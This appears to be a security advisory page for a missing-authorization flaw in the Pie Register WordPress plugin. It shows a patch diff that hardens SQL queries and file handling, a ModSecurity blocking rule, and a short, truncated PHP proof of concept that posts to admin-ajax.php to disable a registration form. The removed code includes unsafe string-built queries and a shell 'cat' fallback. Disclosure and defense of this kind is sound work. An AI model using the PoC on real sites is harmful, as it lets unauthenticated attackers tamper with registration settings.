-			$invitation_code_sql = "CREATE TABLE IF NOT EXISTS ".$codetable."(`id` INT( 5 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,`created` DATE NOT NULL ,`modified` DATE NOT NULL ,`name` TEXT NOT NULL ,`count` INT( 5 ) NOT NULL ,`status` INT( 2 ) NOT NULL ,`code_usage` INT( 5 ) NOT NULL, `expiry_date` DATE NOT NULL,`code_description` VARCHAR(255) NULL) ENGINE = MYISAM ;";
-
-			if(!$wpdb->query($invitation_code_sql))
+			if(!$wpdb->query("CREATE TABLE IF NOT EXISTS `{$codetable}` (`id` INT( 5 ) NOT NULL AUTO_INCREMENT PRIMARY KEY , `created` DATE NOT NULL , `modified` DATE NOT NULL , `name` TEXT NOT NULL , `count` INT( 5 ) NOT NULL , `status` INT( 2 ) NOT NULL , `code_usage` INT( 5 ) NOT NULL, `expiry_date` DATE NOT NULL, `code_description` VARCHAR(255) NULL) ENGINE = MYISAM ;"))
 			{
 				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
 			}
@@ -736,106 +739,100 @@

 			if($check === 2)
 			{
-				if(!$wpdb->query("ALTER TABLE ".$codetable." CHANGE `usage` `code_usage` int(11) NULL")){
-					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+				if ( ! $wpdb->query( $wpdb->prepare( "ALTER TABLE `{$wpdb->prefix}pieregister_code` CHANGE `usage` `code_usage` int(11) NULL", array() ) ) ) {
+					$this->pr_error_log( $wpdb->last_error . ( $this->get_error_log_info( __FUNCTION__, __LINE__, __FILE__ ) ) );
 				}
 			}

 			if($check === 0)
 			{
-				if(!$wpdb->query("alter table ".$codetable." add column `code_usage` int(11) NULL")){
-					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+				if ( ! $wpdb->query( $wpdb->prepare( "ALTER TABLE `{$wpdb->prefix}pieregister_code` ADD COLUMN `code_usage` int(11) NULL", array() ) ) ) {
+					$this->pr_error_log( $wpdb->last_error . ( $this->get_error_log_info( __FUNCTION__, __LINE__, __FILE__ ) ) );
 				}
 			}

 			if( $check_expiry === 0 && PIEREG_DB_VERSION > "3.0" )
 			{
-				if(!$wpdb->query("ALTER TABLE ".$codetable." ADD COLUMN `expiry_date` DATE NOT NULL")){
-					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+				if ( ! $wpdb->query( $wpdb->prepare( "ALTER TABLE `{$wpdb->prefix}pieregister_code` ADD COLUMN `expiry_date` DATE NOT NULL", array() ) ) ) {
+					$this->pr_error_log( $wpdb->last_error . ( $this->get_error_log_info( __FUNCTION__, __LINE__, __FILE__ ) ) );
 				}
 			}
-			if( $add_desc_columns )
-			{
-				if(!$wpdb->query("alter table ".$codetable." add column `code_description` varchar(255) NULL")){
-					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
-				}
-			}
-
-			if( $add_role_columns )
-			{
-				if(!$wpdb->query("alter table ".$codetable." add column `code_user_role` varchar(255) NULL")){
-					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
-				}
-			}
-			$redirect_settings_table_name = $wpdb->prefix."pieregister_redirect_settings";
-			$redirect_table_sql = "CREATE TABLE IF NOT EXISTS `".$redirect_settings_table_name."` (
-									  `id` int(11) NOT NULL AUTO_INCREMENT,
-									  `user_role` varchar(100) NOT NULL,
-									  `logged_in_url` text NOT NULL,
-									  `logged_in_page_id` int(11) NOT NULL,
-									  `log_out_url` text NOT NULL,
-									  `log_out_page_id` int(11) NOT NULL,
-									  `status` bit(1) NOT NULL DEFAULT b'1',
-									  PRIMARY KEY (`user_role`),
-									  UNIQUE KEY `id` (`id`)
-									) ENGINE=MYISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1;";
-
-			if(!$wpdb->query($redirect_table_sql))
-			{
-				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
-			}
+			if( $add_desc_columns )
+			{
+				if ( ! $wpdb->query( $wpdb->prepare( "ALTER TABLE `{$wpdb->prefix}pieregister_code` ADD COLUMN `code_description` varchar(255) NULL", array() ) ) ) {
+					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+				}
+			}
+
+			if( $add_role_columns )
+			{
+				if ( ! $wpdb->query( $wpdb->prepare( "ALTER TABLE `{$wpdb->prefix}pieregister_code` ADD COLUMN `code_user_role` varchar(255) NULL", array() ) ) ) {
+					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+				}
+			}
+			$redirect_settings_table_name = $wpdb->prefix."pieregister_redirect_settings";
+
+			if ( ! $wpdb->query( $wpdb->prepare( "CREATE TABLE IF NOT EXISTS `{$wpdb->prefix}pieregister_redirect_settings` (
+									  `id` int(11) NOT NULL AUTO_INCREMENT,
+									  `user_role` varchar(100) NOT NULL,
+									  `logged_in_url` text NOT NULL,
+									  `logged_in_page_id` int(11) NOT NULL,
+									  `log_out_url` text NOT NULL,
+									  `log_out_page_id` int(11) NOT NULL,
+									  `status` bit(1) NOT NULL DEFAULT b'1',
+									  PRIMARY KEY (`user_role`),
+									  UNIQUE KEY `id` (`id`)
+									) ENGINE=MYISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1;", array() ) ) )
+			{
+				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+			}

 			// email count
 			$invite_code_emails_table_name = $wpdb->prefix."pieregister_invite_code_emails";
-			$invite_code_emails_table_sql  = "CREATE TABLE IF NOT EXISTS $invite_code_emails_table_name (
-											`id` int NOT NULL PRIMARY KEY AUTO_INCREMENT,
-											`code_id` int NOT NULL,
-											`email_address` varchar(150) NOT NULL,
-											FOREIGN KEY (`code_id`) REFERENCES $codetable(`id`)
-											) ENGINE=MYISAM;";

-			if(!$wpdb->query($invite_code_emails_table_sql))
-			{
-				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
-			}
+			if(!$wpdb->query($wpdb->prepare("CREATE TABLE IF NOT EXISTS `{$wpdb->prefix}pieregister_invite_code_emails` (
+											`id` int NOT NULL PRIMARY KEY AUTO_INCREMENT,
+											`code_id` int NOT NULL,
+											`email_address` varchar(150) NOT NULL,
+											FOREIGN KEY (`code_id`) REFERENCES `{$wpdb->prefix}pieregister_code`(`id`)
+											) ENGINE=MYISAM;", array() )))
+			{
+				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+			}
 			// ver 3.5.4
 			$custom_role_table_name = $wpdb->prefix."pieregister_custom_user_roles";
-			$custom_role_table_sql  = "CREATE TABLE IF NOT EXISTS $custom_role_table_name (
+
+			if(!$wpdb->query("CREATE TABLE IF NOT EXISTS `{$custom_role_table_name}` (
 											`id` int NOT NULL PRIMARY KEY AUTO_INCREMENT,
 											`role_key` varchar(150) NOT NULL UNIQUE,
 											`role_name` varchar(150) NOT NULL,
 											`wp_role_name` varchar(150) NOT NULL
-											) ENGINE=MYISAM;";
-
-			if(!$wpdb->query($custom_role_table_sql))
+											) ENGINE=MYISAM;"))
 			{
 				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
-			}
-			$lockdowns_table_name = $wpdb->prefix."pieregister_lockdowns";
-			$lockdowns_table_sql = "CREATE TABLE IF NOT EXISTS `".$lockdowns_table_name."` (
-									  `id` int(11) NOT NULL AUTO_INCREMENT,
-									  `user_id` int(11) NOT NULL,
-									  `login_attempt` int(11) NOT NULL,
+			}
+			$lockdowns_table_name = $wpdb->prefix."pieregister_lockdowns";
+
+			if(!$wpdb->query($wpdb->prepare("CREATE TABLE IF NOT EXISTS `{$wpdb->prefix}pieregister_lockdowns` (
+									  `id` int(11) NOT NULL AUTO_INCREMENT,
+									  `user_id` int(11) NOT NULL,
+									  `login_attempt` int(11) NOT NULL,
 									  `attempt_from` varchar(56) NOT NULL,
 									  `is_security_captcha` tinyint(4) NOT NULL DEFAULT '0',
-									  `attempt_time` datetime NOT NULL,
-									  `release_time` datetime NOT NULL,
-									  `user_ip` varchar(30) NOT NULL,
-									  PRIMARY KEY (`id`)
-									) ENGINE=MYISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
-			";
-
-			if(!$wpdb->query($lockdowns_table_sql))
-			{
-				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
-			}
-
-			$lockdowns_all_columns = "SHOW COLUMNS FROM ".$lockdowns_table_name . " LIKE 'attempt_from'";
-			$lockdowns_get_columns = $wpdb->get_results($lockdowns_all_columns);
-			if(empty($lockdowns_get_columns)){
-				$lockdowns_add_column = "ALTER TABLE `".$lockdowns_table_name."` ADD attempt_from varchar(56) NOT NULL AFTER login_attempt";
-				$wpdb->query($lockdowns_add_column);
-			}
+									  `attempt_time` datetime NOT NULL,
+									  `release_time` datetime NOT NULL,
+									  `user_ip` varchar(30) NOT NULL,
+									  PRIMARY KEY (`id`)
+									) ENGINE=MYISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+			", array() )))
+			{
+				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+			}
+
+			$lockdowns_get_columns = $wpdb->get_results($wpdb->prepare("SHOW COLUMNS FROM `{$wpdb->prefix}pieregister_lockdowns` LIKE %s", 'attempt_from'));
+			if(empty($lockdowns_get_columns)){
+				$wpdb->query($wpdb->prepare("ALTER TABLE `{$wpdb->prefix}pieregister_lockdowns` ADD attempt_from varchar(56) NOT NULL AFTER login_attempt", array()));
+			}

 			/*
 				*	Create Pie Register Stats array If Do not Exist
@@ -890,18 +887,20 @@
 				wp_mkdir_p($secure_log_dir);
 			}

+			$wp_filesystem = $this->pie_get_filesystem();
+
 			// Create .htaccess file to block access
 			$htaccess_file = $secure_log_dir . '/.htaccess';
-			if (!file_exists($htaccess_file)) {
+			if (!$wp_filesystem->exists($htaccess_file)) {
 				$htaccess_content = "<IfModule mod_authz_core.c>nRequire all deniedn</IfModule>n";
 				$htaccess_content .= "<IfModule !mod_authz_core.c>nOrder allow,denynDeny from alln</IfModule>n";
-				file_put_contents($htaccess_file, $htaccess_content);
+				$wp_filesystem->put_contents($htaccess_file, $htaccess_content);
 			}

 			// Add an index.php file for extra security
 			$index_file = $secure_log_dir . '/index.php';
-			if (!file_exists($index_file)) {
-				file_put_contents($index_file, "<?phpn// Silence is golden.");
+			if (!$wp_filesystem->exists($index_file)) {
+				$wp_filesystem->put_contents($index_file, "<?phpn// Silence is golden.");
 			}

 		}
@@ -1381,10 +1380,9 @@
 				$invitation_code_table_name = $wpdb->prefix."pieregister_code";
 				$invite_codes = "";

-				if($wpdb->get_var("SHOW TABLES LIKE '$invitation_code_table_name'") == $invitation_code_table_name) {
-					$sql = "SELECT * FROM {$invitation_code_table_name} ORDER BY `id` ASC";
-					$result_invitaion_code = $wpdb->get_results( $sql );
-					$today = date('Y-m-d');
+				if($wpdb->get_var($wpdb->prepare("SHOW TABLES LIKE %s", $invitation_code_table_name)) == $invitation_code_table_name) {
+					$result_invitaion_code = $wpdb->get_results( "SELECT * FROM `{$invitation_code_table_name}` ORDER BY `id` ASC" );
+					$today = gmdate('Y-m-d');
 					foreach($result_invitaion_code as $object){
 						if(
 							( $object->expiry_date == "0000-00-00" || strtotime($object->expiry_date) > strtotime($today) )
@@ -1846,8 +1844,7 @@
 			if(!is_object($user))
 			{
 				global $wpdb;
-				$user_table = $wpdb->prefix."users";
-				$user = $wpdb->get_results( $wpdb->prepare("SELECT `ID`, `user_login`, `user_nicename`, `user_email`, `user_registered` FROM `".$user_table."` WHERE `user_email` = %s", stripslashes(( $user ) )) );
+				$user = $wpdb->get_results( $wpdb->prepare("SELECT `ID`, `user_login`, `user_nicename`, `user_email`, `user_registered` FROM `{$wpdb->users}` WHERE `user_email` = %s", stripslashes( $user ) ) );
 				if(isset($wpdb->last_error) && !empty($wpdb->last_error)){
 					$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
 				}
@@ -1898,7 +1895,7 @@
 						if($options[$a]==$sel)
 							$selected = 'selected="selected"';
 					}
-					$html .= '<option '.$selected.' value="'.esc_attr($options[$a]).'">'.esc_html(__($options[$a],"pie-register")).'</option>';
+					$html .= '<option ' . $selected . ' value="' . esc_attr( $options[$a] ) . '">' . esc_html( $options[$a] ) . '</option>';
 				}
 			}
 			return $html;
@@ -2075,15 +2072,13 @@
 			add_option("pie_user_email_types",$email_type);

 			// Truncate redirect roles table
-			global $wpdb;
-			global $PR_Bot_List;
-			$redirect_settings_table_name = $wpdb->prefix."pieregister_redirect_settings";
-			$redirect_settings_sql = "TRUNCATE TABLE `".$redirect_settings_table_name."` ";
-
-			if(!$wpdb->query($redirect_settings_sql))
-			{
-				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
-			}
+			global $wpdb;
+			global $PR_Bot_List;
+			$redirect_settings_table_name = $wpdb->prefix."pieregister_redirect_settings";
+			if(!$wpdb->query($wpdb->prepare("TRUNCATE TABLE `{$wpdb->prefix}pieregister_redirect_settings`", array())))
+			{
+				$this->pr_error_log($wpdb->last_error.($this->get_error_log_info(__FUNCTION__,__LINE__,__FILE__)));
+			}

 			$update = get_option(OPTION_PIE_REGISTER);

@@ -2509,9 +2504,10 @@
 					$upload_dir = wp_upload_dir();
 					$temp_dir = realpath($upload_dir['basedir'])."/piereg_users_files/".$user_id;
 					wp_mkdir_p($temp_dir);
-					$temp_file_name = sanitize_file_name("profile_pic_".abs( crc32( wp_generate_password( rand(7,12) ) ."_".time() ) )."_".$form_id.".".$extension);
+					$temp_file_name = sanitize_file_name("profile_pic_".abs( crc32( wp_generate_password( wp_rand(7,12) ) ."_".time() ) )."_".$form_id.".".$extension);
 					$temp_file_url = $upload_dir['baseurl']."/piereg_users_files/".$user_id."/".$temp_file_name;
-					if(!move_uploaded_file($_FILES[$field_slug]['tmp_name'],$temp_dir."/".$temp_file_name)){
+					$wp_filesystem = $this->pie_get_filesystem();
+					if(!$wp_filesystem->move($_FILES[$field_slug]['tmp_name'],$temp_dir."/".$temp_file_name)){
 						$errors->add( $field_slug , '<strong>'.esc_html(ucwords(__('error','pie-register'))).'</strong>: '.apply_filters("piereg_fail_to_upload_profile picture",__('Failed to upload the profile picture.','pie-register' )));
 					}else{
 						/*Upload Index.html file on User dir*/
@@ -2521,8 +2517,8 @@

 						$old_picture = get_user_meta($user_id,"pie_".$field_slug, true);
 						if( !empty($old_picture) ){
-							if( file_exists($temp_dir."/".basename( $old_picture )) ){
-								unlink( $temp_dir."/".basename( $old_picture ) );
+							if( $wp_filesystem->exists($temp_dir."/".basename( $old_picture )) ){
+								$wp_filesystem->delete( $temp_dir."/".basename( $old_picture ) );
 							}
 						}
 						update_user_meta($user_id,"pie_".$field_slug, $temp_file_url);
@@ -2539,10 +2535,10 @@

 		}
 		function upload_forbidden_html_file($dir_name){
-			if( !empty($dir_name) && !file_exists($dir_name."/index.html") ){
-				$myfile = @fopen($dir_name."/index.html", "w");
-				@fwrite( $myfile, "<html><head><title>Forbidden</title></head><body><h1>Forbidden</h1><p>You Don't have permission to access on this server</p></body></html>" );
-				@fclose( $myfile );
+			$wp_filesystem = $this->pie_get_filesystem();
+			if( !empty($dir_name) && !$wp_filesystem->exists($dir_name."/index.html") ){
+				$content = "<html><head><title>Forbidden</title></head><body><h1>Forbidden</h1><p>You Don't have permission to access on this server</p></body></html>";
+				$wp_filesystem->put_contents($dir_name."/index.html", $content, 0644);
 			}
 		}
 		function pie_remove_upload($user_id,$field,$field_slug) {
@@ -2554,9 +2550,10 @@
 				$file = $file[0];
 			}
 			if( !empty($file ) ){
-				if( file_exists($temp_dir."/".basename( $file  )) ){
-					unlink( $temp_dir."/".basename( $file  ) );
-				} else if ( file_exists($temp_dir."/".'pie_'.$field_slug."/".basename( $file  )) ) {
+				$wp_filesystem = $this->pie_get_filesystem();
+				if( $wp_filesystem->exists($temp_dir."/".basename( $file  )) ){
+					$wp_filesystem->delete( $temp_dir."/".basename( $file  ) );
+				} else if ( $wp_filesystem->exists($temp_dir."/".'pie_'.$field_slug."/".basename( $file  )) ) {
 					$this->delete_directory( realpath($temp_dir."/".'pie_'.$field_slug));
 				}
 			}
@@ -2581,7 +2578,7 @@
 						$upload_dir = wp_upload_dir();
 						$temp_dir = realpath($upload_dir['basedir'])."/piereg_users_files/".$user_id."/"."pie_".$field_slug."";
 						wp_mkdir_p($temp_dir);
-						$temp_file_name = sanitize_file_name("file_".abs( crc32( wp_generate_password( rand(7,12) ) ."_".time() ) )."_".$form_id.".".$extension);
+						$temp_file_name = sanitize_file_name("file_".abs( crc32( wp_generate_password( wp_rand(7,12) ) ."_".time() ) )."_".$form_id.".".$extension);
 						$temp_file_url 	= $upload_dir['baseurl']."/piereg_users_files/".$user_id."/"."pie_".$field_slug."/".$temp_file_name;

 						// Allowed Mime Types in WordPress
@@ -2593,7 +2590,8 @@

 						if ( ( $valid_mime_type['type'] !== false ) && ( $validate_file_ext_type['ext'] !== false ) && ( $validate_file_ext_type['type'] !== false) )
 						{
-							if(!move_uploaded_file($_FILES[$field_slug]['tmp_name'],$temp_dir."/".$temp_file_name)){
+							$wp_filesystem = $this->pie_get_filesystem();
+							if(!$wp_filesystem->move($_FILES[$field_slug]['tmp_name'],$temp_dir."/".$temp_file_name)){
 								$errors->add( $field_slug , '<strong>'.__('Error','pie-register').'</strong>: '.apply_filters("piereg_Fail_to_upload_profile_picture",__('Failed to upload the profile picture.','pie-register' )));
 							}else{
 								/*Upload Index.html file on User dir*/
@@ -2604,8 +2602,8 @@
 								$old_file = get_user_meta($user_id,"pie_".$field_slug, true);
 								if( !empty($old_file) ){
 									$old_file = !is_array($old_file) ? $old_file : $old_file[0];
-									if( file_exists($temp_dir."/".basename( $old_file )) ){
-										unlink( $temp_dir."/".basename( $old_file ) );
+									if( $wp_filesystem->exists($temp_dir."/".basename( $old_file )) ){
+										$wp_filesystem->delete( $temp_dir."/".basename( $old_file ) );
 									}
 								}
 								update_user_meta($user_id,"pie_".$field_slug, $temp_file_url);
@@ -2626,7 +2624,7 @@
 					$upload_dir = wp_upload_dir();
 					$temp_dir = realpath($upload_dir['basedir'])."/piereg_users_files/".$user_id."/"."pie_".$field_slug."";
 					wp_mkdir_p($temp_dir);
-					$temp_file_name = sanitize_file_name("file_".abs( crc32( wp_generate_password( rand(7,12) ) ."_".time() ) )."_".$form_id.".".$extension);
+					$temp_file_name = sanitize_file_name("file_".abs( crc32( wp_generate_password( wp_rand(7,12) ) ."_".time() ) )."_".$form_id.".".$extension);
 					$temp_file_url 	= $upload_dir['baseurl']."/piereg_users_files/".$user_id."/"."pie_".$field_slug."/".$temp_file_name;

 					// Allowed Mime Types in WordPress
@@ -2638,7 +2636,8 @@

 					if ( ( $valid_mime_type['type'] !== false ) && ( $validate_file_ext_type['ext'] !== false ) && ( $validate_file_ext_type['type'] !== false) )
 					{
-						if(!move_uploaded_file($_FILES[$field_slug]['tmp_name'],$temp_dir."/".$temp_file_name)){
+						$wp_filesystem = $this->pie_get_filesystem();
+						if(!$wp_filesystem->move($_FILES[$field_slug]['tmp_name'],$temp_dir."/".$temp_file_name)){
 							$errors->add( $field_slug , '<strong>'.ucwords(__('error','pie-register')).'</strong>: '.apply_filters("piereg_fail_to_upload_profile_picture",__('Failed to upload the profile picture.','pie-register' )));
 						}else{
 							/*Upload Index.html file on User dir*/
@@ -2649,8 +2648,8 @@
 							$old_file = get_user_meta($user_id,"pie_".$field_slug, true);
 							if( !empty($old_file) ){
 								$old_file = !is_array($old_file) ? $old_file : $old_file[0];
-								if( file_exists($temp_dir."/".basename( $old_file )) ){
-									unlink( $temp_dir."/".basename( $old_file ) );
+								if( $wp_filesystem->exists($temp_dir."/".basename( $old_file )) ){
+									$wp_filesystem->delete( $temp_dir."/".basename( $old_file ) );
 								}
 							}
 							update_user_meta($user_id,"pie_".$field_slug, $temp_file_url);
@@ -2667,26 +2666,20 @@
 			}
 		}
 		function delete_directory($dirname) {
-			$dir_handle = '';
-
-			if (is_dir($dirname))
-			  $dir_handle = opendir($dirname);
-
-			if (!$dir_handle)
-			 return false;
-
-			while($file = readdir($dir_handle)) {
-			  if ($file != "." && $file != "..") {
-				   if (!is_dir($dirname."/".$file))
-						unlink($dirname."/".$file);
-				   else
-						$this->delete_directory($dirname.'/'.$file);
-			  }
+			$wp_filesystem = $this->pie_get_filesystem();
+			if ($wp_filesystem->is_dir($dirname)) {
+				return $wp_filesystem->rmdir($dirname, true);
 			}
-			closedir($dir_handle);
-			rmdir($dirname);
-			return true;
-   		}
+			return false;
+		}
+		private function pie_get_filesystem() {
+			global $wp_filesystem;
+			if ( empty( $wp_filesystem ) ) {
+				require_once( ABSPATH . 'wp-admin/includes/file.php' );
+				WP_Filesystem();
+			}
+			return $wp_filesystem;
+		}
 		/*
 			*	Check SSL enable or not. And return true/false
 		*/
@@ -2984,22 +2977,9 @@
 				$this->pie_post_array['error'] = __("File does not exist.","pie-register");
 				return false;
 			}
-			//To read the file
-			$FileData = "";
-			if(function_exists("file_get_contents") && ini_get('allow_url_fopen')){
-				$FileData = file_get_contents($file_dir,false);
-			}
-			//Get Log File by `fopen`
-			elseif(function_exists("fopen")){
-				$fh = fopen($file_dir, 'r');
-				$FileData = fread($fh, filesize($file_dir));
-				fclose($fh);
-			}
-			//Get Log File by `Command`
-			else{
-				$FileData = `cat $file_dir`;
-			}
-			return $FileData;
+
+			$wp_filesystem = $this->pie_get_filesystem();
+			return $wp_filesystem->get_contents($file_dir);
 		}
 		function read_file_from_url($url){
 			$FileData = "";
@@ -4453,7 +4433,7 @@
 			{
 				if ( isset( $current_screen->id ) && in_array( $current_screen->id, $pie_pages ) ) {
 					?>
-						<p>If you like Pie Register please leave us a <a href="https://wordpress.org/support/plugin/pie-register/reviews/?filter=5" target="_blank" class="pie-admin-rating-link" data-nonce="<?php esc_attr_e(wp_create_nonce('pie_rated_nonce'), 'pie-register' ); ?>" data-rated="<?php esc_attr_e( 'Thanks :)', 'pie-register' ) ?>"> ★★★★★</a> rating. A huge thanks in advance!</p>
+					<p>If you like Pie Register please leave us a <a href="https://wordpress.org/support/plugin/pie-register/reviews/" target="_blank" class="pie-admin-rating-link" data-nonce="<?php echo esc_attr( wp_create_nonce( 'pie_rated_nonce' ) ); ?>" data-rated="<?php esc_attr_e( 'Thanks :)', 'pie-register' ); ?>"> ★★★★★</a> rating. A huge thanks in advance!</p>

 						<script type="text/javascript">
 							jQuery( 'a.pie-admin-rating-link' ).click(function() {
@@ -4546,4 +4526,4 @@
 			return $temp_dir;
 		}
 	}
-}
 No newline at end of file
+}
--- a/pie-register/classes/base_variables.php
+++ b/pie-register/classes/base_variables.php
@@ -73,10 +73,17 @@

 // delete payment logs file - temperorly
 $upload_dir = wp_upload_dir();
-$temp_dir = realpath($upload_dir['basedir']) . "/pie-logs/payment-log.log";
+$temp_dir = $upload_dir['basedir'] . "/pie-logs/payment-log.log";

-if (file_exists($temp_dir)) { // Check if file exists
-    unlink($temp_dir); // Delete the file
+if ( file_exists($temp_dir) ) { // Check if file exists
+    global $wp_filesystem;
+    if ( empty( $wp_filesystem ) ) {
+        require_once( ABSPATH . 'wp-admin/includes/file.php' );
+        WP_Filesystem();
+    }
+    if ( $wp_filesystem ) {
+        $wp_filesystem->delete( $temp_dir );
+    }
 }


@@ -90,15 +97,29 @@
 // Create .htaccess file to block access
 $htaccess_file = $secure_log_dir . '/.htaccess';
 if (!file_exists($htaccess_file)) {
+    global $wp_filesystem;
+    if ( empty( $wp_filesystem ) ) {
+        require_once( ABSPATH . 'wp-admin/includes/file.php' );
+        WP_Filesystem();
+    }
     $htaccess_content = "<IfModule mod_authz_core.c>nRequire all deniedn</IfModule>n";
     $htaccess_content .= "<IfModule !mod_authz_core.c>nOrder allow,denynDeny from alln</IfModule>n";
-    file_put_contents($htaccess_file, $htaccess_content);
+    if ( $wp_filesystem ) {
+		$wp_filesystem->put_contents($htaccess_file, $htaccess_content, FS_CHMOD_FILE);
+	}
 }

 // Add an index.php file for extra security
 $index_file = $secure_log_dir . '/index.php';
 if (!file_exists($index_file)) {
-    file_put_contents($index_file, "<?phpn// Silence is golden.");
+	global $wp_filesystem;
+    if ( empty( $wp_filesystem ) ) {
+        require_once( ABSPATH . 'wp-admin/includes/file.php' );
+        WP_Filesystem();
+    }
+	if ( $wp_filesystem ) {
+		$wp_filesystem->put_contents($index_file, "<?phpn// Silence is golden.", FS_CHMOD_FILE);
+	}
 }

 // Define log directory constant
--- a/pie-register/classes/custom_user_role_table.php
+++ b/pie-register/classes/custom_user_role_table.php
@@ -22,17 +22,7 @@
     private function get_sql_results()
     {
         global $wpdb;
-        $args = array( "`id`", "`role_key`", "`role_name`","`wp_role_name`" );
-
-        $sql_select = implode( ', ', $args );
-		$prefix=$wpdb->prefix."pieregister_";
-        $roletable=$prefix."custom_user_roles";
-        $order_by = "`id` DESC";
-
-        $query = $wpdb->prepare("SELECT $sql_select,%s as `action` FROM `$roletable` ORDER BY $order_by",  "action");
-
-        $sql_results = $wpdb->get_results( $query );
-
+        $sql_results = $wpdb->get_results( $wpdb->prepare("SELECT `id`, `role_key`, `role_name`, `wp_role_name`, %s as `action` FROM `{$wpdb->prefix}pieregister_custom_user_roles` ORDER BY `id` DESC", "action") );
         return $sql_results;
     }
     public function search_box($text, $input_id)
--- a/pie-register/classes/edit_form.php
+++ b/pie-register/classes/edit_form.php
@@ -1,4 +1,8 @@
 <?php
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
 if( file_exists( dirname(__FILE__) . '/base.php') )
 	require_once('base.php');

@@ -166,12 +170,12 @@
 							$keys_array = array("reset_email_key"=>$email_key);
 							$email_slug = "email_edit_verification";
 							$user_email_address = sanitize_email($this->pie_post_array['e_mail']);
-							$email_edit_success_msg = "Use the link sent to your email to verify and apply the change.";
+							$email_edit_success_msg = __( 'Use the link sent to your email to verify and apply the change.', 'pie-register' );
 						}elseif(intval($global_options['email_edit_verification_step']) == "2"){
 							$keys_array = array("confirm_current_email_key"=>$email_key);
 							$email_slug = "current_email_verification";
 							$user_email_address = sanitize_email($this->user->data->user_email);
-							$email_edit_success_msg = "Please confirm the link sent to your current Email to verify and make the change applied!";
+							$email_edit_success_msg = __( 'Please confirm the link sent to your current Email to verify and make the change applied!', 'pie-register' );
 						}
 						/*
 							*	Email send snipt
@@ -180,7 +184,7 @@
 						$subject 	

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3571
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1003571,phase:2,deny,status:403,chain,msg:'CVE-2026-3571 - Unauthenticated Registration Form Status Modification via Pie Register AJAX',severity:'CRITICAL',tag:'CVE-2026-3571',tag:'WordPress',tag:'Plugin',tag:'Pie-Register'"
  SecRule ARGS_POST:action "@streq pie_main" "chain"
    SecRule &ARGS_POST:sub_action "!@eq 0" "chain"
      SecRule ARGS_POST:sub_action "@rx ^(update_form_status|toggle_form|disable_form|enable_form)" 
        "t:none,t:lowercase,setvar:'tx.cve_2026_3571_block=1'"

SecRule TX:cve_2026_3571_block "@eq 1" 
  "id:2003571,phase:2,deny,status:403,msg:'CVE-2026-3571 Blocked - Unauthenticated registration form status modification attempt',severity:'CRITICAL',tag:'CVE-2026-3571'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3571 - Pie Register – User Registration, Profiles & Content Restriction <= 3.8.4.8 - Missing Authorization to Unauthenticated Registration Form Status Modification

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// The vulnerable AJAX action that calls the pie_main() function
$action = 'pie_main';

// Parameters to modify registration form status
// Actual parameter names would need to be determined through testing
$post_data = array(
    'action' => $action,
    'sub_action' => 'update_form_status', // Example sub-action
    'form_id' => '1',
    'status' => 'disabled' // Disable the registration form
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
